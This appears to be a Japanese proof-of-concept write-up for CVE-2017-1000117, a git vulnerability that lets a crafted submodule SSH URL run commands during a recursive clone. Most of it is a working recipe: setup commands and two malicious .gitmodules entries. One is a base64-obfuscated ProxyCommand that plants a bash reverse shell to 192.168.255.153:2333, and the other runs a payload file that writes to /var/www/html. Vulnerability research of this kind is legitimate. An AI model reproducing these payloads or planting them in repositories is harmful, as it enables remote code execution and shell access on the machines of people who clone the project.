
CVE-2017-1000117の概念実証エクスプロイト: 悪意のあるgitサブモジュールのSSH URLを介したリモートコード実行により、再帰的クローン操作中にリバースシェルペイロードの配信を可能にします。
悪意のある者は巧妙に作成した「ssh://…」リンクを利用し、被害者がプログラム実行時などにその悪意のあるリンクにアクセスさせ、コマンド実行を達成することができます。 このリンクはgitプロジェクトの.gitmodulesファイルに配置でき、被害者がプロジェクトに対してgit clone –recurse-submodules/git clone --recursive 操作を行うと、セキュリティ問題が発生します。
準備:
linux コマンドラインで入力 printf 'a' >> /tmp/pwned.txt /tmpディレクトリにpwned.txtが作成され、内容が a であることを確認
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git // sub1 と name2 の2つのサブモジュールディレクトリが作成される)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
2つの作成方法があります:
1つ目: .gitmodulesファイルを開き、内容を変更します(最初のものだけを変更すればよい。最初のサブモジュールのexpしか実行されないため。ここで2つ作成するのは、時に1つだけでは実行されないからで、具体的な理由はまだ詳しく調査していない)
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(詳細は.gitmodules.bak1ファイルを参照) 1つ目の方法ではペイロードファイルは不要
2つ目: .gitmodulesファイルを開き、内容を変更します(最初のものだけを変更すればよい)
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(詳細は.gitmodulesファイルを参照)
この方法ではペイロードファイルが必要です。ペイロードファイルには以下を入力します。 printf 'sss' > /var/www/html/vul
注意 git clone の方法は以下の2つのいずれかでなければなりません:
git clone --recursive url
git clone --recurse-submodules url
git clone だけを使用すると、通常のダウンロードのみで追加ファイルは生成されないため、脆弱性のトリガー条件はかなり厳しいです。